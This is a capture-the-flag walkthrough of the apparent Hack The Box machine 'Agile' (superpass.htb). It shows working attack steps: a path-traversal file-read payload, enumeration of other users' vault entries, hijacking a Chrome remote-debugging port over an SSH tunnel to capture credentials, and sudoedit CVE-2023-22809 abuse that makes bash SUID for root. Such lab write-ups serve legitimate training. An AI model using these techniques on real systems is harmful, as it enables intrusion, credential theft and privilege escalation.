Scanning

> TARGET=10.129.29.146 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCeVL2Hl8/LXWurlu46JyqOyvUHtAwTrz1EYdY5dXVi9BfpPwsPTf+zzflV+CGdflQRNFKPDS8RJuiXQa40xs9o=
|   256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEcaZPDjlx21ppN0y2dNT1Jb8aPZwfvugIeN6wdUH1cK
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Domain: superpass.htb

Web Enum

  • Register a user at http://superpass.htb/account/register outputs the following error, this turns out to be a bug in the app. Try again after a while successfully registered an account.
sqlalchemy.exc.OperationalError: (pymysql.err.OperationalError) (2006, "MySQL server has gone away (BrokenPipeError(32, 'Broken pipe'))")
[SQL: SELECT users.id AS users_id, users.username AS users_username, users.hashed_password AS users_hashed_password 
FROM users 
WHERE users.username = %(username_1)s 
 LIMIT %(param_1)s]
[parameters: {'username_1': 'meow', 'param_1': 1}]
(Background on this error at: https://sqlalche.me/e/14/e3q8)

 The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error.

To switch between the interactive traceback and the plaintext one, you can click on the "Traceback" headline. From the text traceback you can also create a paste of it. For code execution mouse-over the frame you want to debug and click on the console icon on the right side.

You can execute arbitrary Python code in the stack frames and there are some extra helpers available for introspection:

    dump() shows all variables in the frame
    dump(obj) dumps all that's known about the object

Brought to you by DON'T PANIC, your friendly Werkzeug powered traceback interpreter. 
  • After login, add a new password and download
  • Inspect the download request GET /vault/export HTTP/1.1, it reveals a redirect to /download?fn=....
HTTP/1.1 302 FOUND
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 05 Mar 2023 20:51:04 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 265
Connection: close
Location: /download?fn=meow_export_c01117ac32.csv
Vary: Cookie

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/download?fn=meow_export_c01117ac32.csv">/download?fn=meow_export_c01117ac32.csv</a>. If not, click the link.
  • Able to do LFI http://superpass.htb/download?fn=../../../../../../../etc/hosts
  • Check the site’s directory
> curl -H "cookie: session=$SESS" 'http://superpass.htb/download?fn=../../../../../etc/nginx/sites-enabled/superpass.nginx'

server {
    listen 80;
    listen 127.0.0.1:80;
    server_name superpass.htb;
    proxy_read_timeout 300;
    proxy_connect_timeout 300;
    proxy_send_timeout 300;

    location /static {
        alias /app/app/superpass/static;
        expires 365d;
    }

    location /console {
        rewrite ^/console$ /console0xdf last;
    }

    location / {
        #include uwsgi_params;

        proxy_pass http://127.0.0.1:5000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-Protocol $scheme;
    }
}

LFI: user flag

  • Continue exploring, found the app’s path, can find the SECRET_KEY
# > curl -H "cookie: session=$SESS" 'http://superpass.htb/download?fn=../../../../../app/app/superpass/app.py'

import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from superpass.infrastructure.view_modifiers import response
from superpass.data import db_session

app = flask.Flask(__name__)
app.config['SECRET_KEY'] = 'MNOHFl8C4WLc3DQTToeeg8ZT7WpADVhqHHXJ50bPZY6ybYKEr76jNvDfsWD'
  • Enumerating /vault/row/<id> found multiple secrets
> curl -H "cookie: session=$SESS" http://superpass.htb/vault/row/[1-10]

<tr class="password-row">
    <td>
        <a hx-get="/vault/edit_row/3" hx-include="closest tr"><i class="fas fa-edit"></i></a>
        <a hx-delete="/vault/delete/3"><i class="fa-solid fa-trash"></i></a>
    </td>
    <td>hackthebox.com</td>
    <td>0xdf</td>
    <td>762b430d32eea2f12970</td>
</tr><tr class="password-row">
    <td>
        <a hx-get="/vault/edit_row/4" hx-include="closest tr"><i class="fas fa-edit"></i></a>
        <a hx-delete="/vault/delete/4"><i class="fa-solid fa-trash"></i></a>
    </td>
    <td>mgoblog.com</td>
    <td>0xdf</td>
    <td>5b133f7a6a1c180646cb</td>
</tr><tr class="password-row">
    <td>
        <a hx-get="/vault/edit_row/6" hx-include="closest tr"><i class="fas fa-edit"></i></a>
        <a hx-delete="/vault/delete/6"><i class="fa-solid fa-trash"></i></a>
    </td>
    <td>mgoblog</td>
    <td>corum</td>
    <td>47ed1e73c955de230a1d</td>
</tr><tr class="password-row">
    <td>
        <a hx-get="/vault/edit_row/7" hx-include="closest tr"><i class="fas fa-edit"></i></a>
        <a hx-delete="/vault/delete/7"><i class="fa-solid fa-trash"></i></a>
    </td>
    <td>ticketmaster</td>
    <td>corum</td>
    <td>9799588839ed0f98c211</td>
</tr><tr class="password-row">
    <td>
        <a hx-get="/vault/edit_row/8" hx-include="closest tr"><i class="fas fa-edit"></i></a>
        <a hx-delete="/vault/delete/8"><i class="fa-solid fa-trash"></i></a>
    </td>
    <td>agile</td>
    <td>corum</td>
    <td>5db7caa1d13cc37c9fc2</td>
</tr>
  • corum:5db7caa1d13cc37c9fc2 can be used for ssh login, fetch the user flag

pe: edward

  • Check background running processes, there is a chrome browser runing for python testing purpose
2023/03/05 21:33:21 CMD: UID=1001 PID=8933   | /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.8U9AJo --window-size=1420,1080 data:,                                            
2023/03/05 21:33:21 CMD: UID=1001 PID=8927   | chromedriver --port=43303 
2023/03/05 21:33:21 CMD: UID=1001 PID=8926   | /app/venv/bin/python3 /app/venv/bin/pytest -x 
2023/03/05 21:33:21 CMD: UID=1001 PID=8921   | /bin/bash /app/test_and_update.sh 
2023/03/05 21:33:21 CMD: UID=1001 PID=8919   | /bin/sh -c /app/test_and_update.sh
  • check the content at /app/test_and_update.sh leads to the test folder at tests/functional/test_site_interactively.py, it’s trying to read from a file that contains the test credential. We need to pivot the testing traffic to capture the credential at http://test.superpass.htb
with open('/app/app-testing/tests/functional/creds.txt', 'r') as f:
    username, password = f.read().strip().split(':')
    
    
@pytest.fixture(scope="session")
def driver():
    options = Options()
    #options.add_argument("--no-sandbox")
    options.add_argument("--window-size=1420,1080")
    options.add_argument("--headless")
    options.add_argument("--remote-debugging-port=41829")
    options.add_argument('--disable-gpu')
    options.add_argument('--crash-dumps-dir=/tmp')
    driver = webdriver.Chrome(options=options)
    yield driver
    driver.close()

...

def test_long_running(driver):
    print("starting test_long_running")
    driver.get('http://test.superpass.htb')
    time.sleep(550)
    #time.sleep(5)
    assert "SuperPasword 🦸" == driver.title
  • In the target’s shell, setup a port forward to forward the target’s localhost:41829 to external interface:8888
> ssh -L 0.0.0.0:8888:localhost:41829 localhost -N
  • Now, run a chromium browser on your attack host and connect to chrome://inspect/#devices
> chromium --no-sandbox

# browse to chrome://inspect/#devices
# click `Configure` to setup the remote debugging port <target-ip>:8888
# wait for a while and you'll see a traffic to: SuperPassword http://test.superpass.htb/
# inspect the traffic
  • Inspect the above mentioned traffic and browse to test.superpass.htb/vault and you can find the password for edwards:d07867c6267dcb5df0af
  • ssh to the target using edwards

pe: root

  • check sudo rights
edwards@agile:~$ sudo -l
[sudo] password for edwards: 
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
  • There is a new exploit CVE-2023-22809
https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf
  • This vulnerability allows us to modify any file owned by user/group dev_admin, and it will be run as root
  • Search for a user/group owned by dev_admin
> find / -type f -group dev_admin 2>/dev/null
/app/venv/bin/activate
/app/venv/bin/Activate.ps1
/app/venv/bin/activate.fish
/app/venv/bin/activate.csh
  • Open up /app/venv/bin/activate and add the line chmod +s /usr/bin/bash
EDITOR="vi -- /app/venv/bin/activate" sudo -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt

# add the line at the top
chmod +s /usr/bin/bash
# save the quit the editor
  • Prompt to root
edwards@agile:~$ ls -ls /usr/bin/bash
1364 -rwsr-sr-x 1 root root 1396520 Jan  6  2022 /usr/bin/bash
edwards@agile:~$ bash -p
edwards@agile:~# id
uid=1002(edwards) gid=1002(edwards) euid=0(root) egid=0(root) groups=0(root),1002(edwards)